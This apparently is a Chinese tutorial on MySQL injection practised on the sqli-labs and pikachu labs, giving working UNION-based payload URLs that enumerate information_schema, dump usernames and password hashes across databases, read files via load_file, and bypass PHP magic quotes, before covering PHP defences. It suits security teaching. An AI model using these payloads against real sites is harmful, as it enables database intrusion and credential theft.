XDSec—13MYSQL注入入门
文章目录
一、简单sql注入
了解sql注入常用的攻击手法,以及攻击入手点;
1.1、测试sqli-libs/less-1
主要讲解如何判断简单判断SQL注入漏洞
-
打开sqli-libs靶场,进入初级篇less-1,可以发现主页有黄字提示,这就是SQL注入点
推荐使用sql注入的一个插件:hackbar,最新版的是要钱的,可以在插件商城下载hackbar v2,是早期不收费版本,功能类似
-
根据提示我们构造url:
http://www.sql-libs.me/Less-1/?id=1
,这里的id就是后端接收的一个变量,1就是它的值,执行后,效果如下:可以发现输出了登录名和密码,说明发生了后端与数据库发生了交互
-
在
?id=1
后面添加'
,构造如下url:http://www.sql-libs.me/Less-1/?id=1'
,执行,可以发现发生了报错,如下图,根据提示我们可以发现,加上'
之后的sql语句为:SELECT * FROM users WHERE id='1'' LIMIT 0,1
,多了一个'
-
对于
'
的处理主要有两种,一是与前面闭合,二是注释掉后面的,输入如下url:http://www.sql-libs.me/Less-1/?id=1'--+
,发现可以正常输出,就是因为我们注释掉了后面的'
PS:在sql语句中,
--
代表注释符,这里+
符号是URL编码中的空格
;可以发现执行的SQL语句为:SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1
,其中--
后面有个空格,否则该注释符无法正常执行 -
再次构造URL:
http://www.sql-libs.me/Less-1/?id=1' and 1=1--+
和http://www.sql-libs.me/Less-1/?id=1' and 1=2--+
,前者条件为真,可以正常输出登录名和密码,后者条件为假,发现不能正常输出;到此基本可以判断,存在SQL注入漏洞.
1.2、使用union联合查询爆库
union联合查询的前提是:前后的sql语句输出要有相同的字段数量,并且每个字段数据类型相同;
前提:判断程序后端的sql语句的查询输出的结果集的字段数量,并且构造的联合查询要与后端sql语句的字段类型要匹配
方法:
- 使用**order by <数字
- 了order by 4,就会发生错误,由此就可以判断出字段的数量
- 根据输出结果判断字段类型,如上述测试,输出了登录名和密码,且都是字符串类型,基本可以判断字段类型为字符串类型
- 可能会使用到内置编码函数,如将字符串使用
hex()
转为十六进制数字
-
构造如下URL:
http://www.sql-libs.me/Less-1/?id=1' order by 1--+
,发现可以正常输出,再次递增修改order by的数字,发现order by 4时错误,可以判断出输出的字段个数为3个 -
判断回显点:构造如下URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,2,3--+
;可以发现联合查询的2、3字段发生了回显,说明上述登录名和密码分别为后端sql语句的返回结果集的第2、3字段注意:这里id=-1,是为了让前面的SQL语句条件为假,则前面的sql语句就失效了,输出就变成了union后面的sql语句(也就是我们构造的sql语句)的输出了,这一点很重要
PS:在联合查询的sql语句为
select 1,2,3
,使用数字进行判断是因为数字的类型比较特殊,当该字段为整型时,该数字以整型处理,如果是字符串型,则以字符串型处理,总之都这么用;但在某些非关系型数据库中会使用NULL作为占位符。 -
在回显点输出我们想要的任意数据:
-
构造URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,version(),database()--+
,可以发现在回显点输出了mysql版本和数据库名,这里就发生了爆库 -
可以使用第12节总结的所有系统函数输出任意信息,如:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,@@datadir,@@version_compile_os--+
可进行爆绝对路径和操作系统版本
-
1.3、使用information_schema爆表
通过我们构造的联合查询语句从information_schema的tables表和columns表,查询敏感信息
-
构造URL如下:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
,分析如下:-
从information_schema数据库的tables表中,查询
table_schema
(即数据库名)为security的所有table_name
(即数据表名),并使用group_concat()函数,将所有数据表名拼接在一行输出,否则只能输出一个 -
这里使用
information_schema.tables
,是因为我们正所处的数据库为security
,要使用information_schema下的tables表,必须使用完整名称,即:.
-
-
由输出可得,我们得到了security这个数据库下的所有数据表:emails,referers,uagents,users;我们猜测敏感
users
表中可能存储着管理员账号和密码(在实战时基本也是要靠猜的)
1.4、爆字段
-
构造方法同上,使用information_schema数据库下的columns,查询table_name为users且table_schema为security的记录(既使用table_name又使用table_schema来定位,是为了防止有重复的table_name)
-
构造URL如下:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
,输出如下: -
可以发现出现了敏感字段:username、password
-
最后,我们来查这两个字段的所有信息,构造URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
,输出如下: -
此时我们就拿到了数据库的管理员账号与密码,使用同样方式,可对其他表的数据进行读取
二、跨库攻击
通过sqli-libs网站,拿到pikachu数据库的敏感信息;
前提:安装sqli-libs和pikachu靶场,也可自建数据库,并且是同一个数据库管理员账号
目的:熟悉跨库攻击技巧、了解如何有效、安全管理多站点的数据库.
-
判断当前数据库的的用户,输入URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,current_user(),3--+
,可以发现,输出当前用户为root用户,也就是最高权限用户,此时我们就可以进行跨库攻击 -
先查询pikachu数据库中所有的表名,输入URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'--+
,输出结果如下,可以判断出users表中可能有登录名和密码 -
查询pikachu.users下的所有字段名,输入URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users'--+
,可以查看该表下有三个字段 -
我们输出其中的usernme和password,输入URL:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from pikachu.users--+
-
拿到了password的md5值,以第一个为例:
e10adc3949ba59abbe56e057f20f883e
,使用在线工具破解www.md5.com
,破解结果如下:
以上只是最简单的sql注入演示,实战中几乎不可能这么顺利,仅仅整理一下大致思路
三、针对php的sql注入防护与攻击
3.1、魔术引号开关
3.1.1、打开魔术引号并测试
-
php版本必须是小于5.4的,我这里再小皮面板的软件管理中下载了php5.3版本,并将靶场的php依赖改为5.3版本
-
打开php5.3目录下的php.ini文件,查找magic_magic_quotes_gpc ,并将其改为On,保存修改
-
进入靶场网站less-1,输入注入语句:
http://www.sql-libs.me/Less-1/?id=-1' union select 1,2,3--+
-
可以发现,
id=1
后面的'
使用被魔术引号进行了转义,即使用\
进行了转义,使得我们注入的id值发生改变,从而避免了sql注入
3.1.2、魔术引号绕过
-
宽字节绕过:添加%df,针对编码为GBK的数据库
-
多重URL编码:%25是%的url编码,%2527即%27,
%27
即’
,以此完成引号的闭合 -
十六进制编码:load_file读取文件时,对文件路径进行编码,可绕过
-
如下,先使用未编码的路径进行读取,会因为发生字符转义而报错
-
将路径进行hex编码(注意十六进制的字符以0x开头),再次执行查看,可以回显文件内容
-
3.1.3、其他转义方法:
- 因为魔术引号会对所有传入的字符串进行判断并转义(不光是和sql交互的字符串),因此会导致php效率严重下降(当你传入一句很长字符串时效率会明显下降);而且魔术引号属于php的一个单独模块,导致项目移植时兼容性差(因为要附加模块),所以现在魔术引号方式已经用的不多了;
- 替代的有:
addslashes()
等内置转义函数
3.2、is_int等函数
-
php为每种数据类型都提供响应的判别函数,如判别是否为整型的is_int()函数
-
如果在后端接收前端变量传来的值的时候,使用is_int()进行判别,此时就很难进行绕过了
// 视频中的一段代码,可见这种方式对于防止s是很有效的,但是局限性大,并且判断语句会影响效率
if(is_int($id)){
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
}else{
echo 'ni shi ge jj?';
}